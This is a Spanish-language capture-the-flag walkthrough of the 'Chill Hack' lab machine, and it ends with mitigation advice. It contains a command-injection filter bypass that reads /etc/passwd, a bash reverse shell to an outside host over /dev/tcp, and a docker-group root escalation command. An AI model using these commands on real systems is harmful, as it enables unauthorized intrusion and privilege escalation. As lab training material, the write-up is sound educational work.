💻Chill Hack

Dificultad: fácil

Enumeración

Comenzamos haciendo un escaneo de puertos con Nmap:

map -p- --open --min-rate 5000 -sSVC -Pn -v -oN escaneo.txt 10.10.14.130
Escaneo Nmap

Como se ve en la imagen la máquina tiene 3 puertos abiertos: 21(FTP), 22(SSH), 80(HTTP).

Por el escaneo hecho con nmap vemos el servicio FTP tiene habilitado el login "anonymous" y que hay por lo menos un archivo .txt, así que entramos y descargamos el archivo note.txt a nuestro pc. Vemos que hay dos posibles usuarios: anurodh y apaar.

Después nos pasamos al servicio HTTP, entramos a la página web e inspeccionamos pero no encontramos nada que nos ayude.

Página web

Fuzzing web

Procedemos a hacer enumeración de directorios con Gobuster:

gobuster dir -u http://10.10.14.130 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

Esto nos da una ruta de interés /secret

Enumeracion gobuster

Al ir a la ruta, encontramos con un campo en el que podemos introducir comandos, pero aquí es donde aplican las restricciones que se mencionaban en la nota, ya que al querer usar comandos como ls o cat /etc/passwd aparece un mensaje en rojo.

Intentamos pasar este filtro usando el comando echo y confirmamos usuarios mencionados en la nota y algún otro.

echo $(cat /etc/passwd)

Explotación

Una vez visto como saltarnos las restricciones, podemos enviarnos una reverse shell

echo $(bash -c  "bash -i >& /dev/tcp/10.9.0.2/443 0>&1")
reverse shell

Hacemos enumeración de las carpetas de los usuarios entramos a la unica carpeta a la que tenemos acceso /apaar entre los archivos encontramos un script en bash llamado .helpline.sh, en el contenido del script podemos ver que podríamos ejecutar comandos.

Listamos los comandos que podemos ejecutar como sudo y, por suerte, tenemos permiso ejecutar el script como el usuario apaar.

sudo -l

Movimiento Lateral

Ejecutamos el script como el usuario apaar y cuando nos pregunte por el mensaje ingresamos /bin/bash, con esto logramos migrar de usuario.

sudo -u apaar /home/apaar/.helpline.sh

Una vez dentro del usuario podemos ver la primer flag dentro del archivo local.txt

Después de estar explorando mucho alguna forma de escalar privilegios o movernos a otro usuario, admito que tuve que buscar alguna pista, la cual encontré en este writeup:

Con esta pista, me di cuenta que debía de buscar en /var/www/files donde encontramos un archivo .php, al parecer debe de haber algo interesante con la imagen hacker-with-laptop_23-2147985341.jpg

En la ruta de la imagen creamos un server en Python y en la descargamos en nuestra máquina local con wget.

Python server

Una vez descargada la imagen, intentamos ver sus metadatos con exiftool, pero hallamos algo de interés. Por lo que usamos steghide extraer cual quier información oculta que pueda tener la imagen.

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

Nos extrajo un archivo .zip el cual esta protegido con contraseña , por lo que usamos JohnTheRipper, primero extraemos la el hash de la contraseña con zip2john y después intentamos romper el hash con John.

zip2john backup.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt

Con la contraseña obtenida extraemos el contenido del zip, el cual es un archvio php, en su contenido podemos ver que esta contraseña en base64 del usuario anurodh.

Decodificamos la contraseña y en la máquina victima nos cambiamos al usuario anurodh

Bas64 decoded password
base64 decode
su anurodh
su anurodh

Escalada de privilegios

Con el comando id, vemos el el usuario anurodh pertenece al grupo docker

id anurodh
id anurodh

Haciendo una búsqueda rápida en GTFOBins, encontramos el siguiente comando para escalar privilegios.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Como root podemos ver el contenido de la segunda flag.

root flag
root flag

Recomendaciones de mitigación

  1. Eliminar login anonimo del servicio FTP.

  2. Configurar reglas de firewall para evitar escaneos automatizados.

  3. Restringir la ejecución de comandos en el panel web: Implementar controles estrictos sobre qué comandos pueden ejecutarse desde la interfaz web, limitando el acceso a solo aquellos necesarios para la funcionalidad del sistema. Además, utilizar mecanismos de escape para evitar la inyección de comandos maliciosos, y aplicar roles y permisos adecuados para el uso de esta funcionalidad.

  4. Validar entradas en scripts sensibles: Modificar el script helpline.sh para evitar la ejecución de comandos arbitrarios al usar variables como $msg. En su lugar, las entradas de los usuarios deben ser validadas o sanitizadas para evitar inyecciones de comandos. Además, limitar la ejecución del script a usuarios autorizados y revisar las configuraciones de sudo para evitar escaladas de privilegios.

  5. Evitar exponer contraseñas, incluso si están cifradas, y usuarios en scripts, como es el caso de source_code.php

  6. Implementar contraseñas más fuertes y seguras, así como algoritmos de hasheo más robustos

Last updated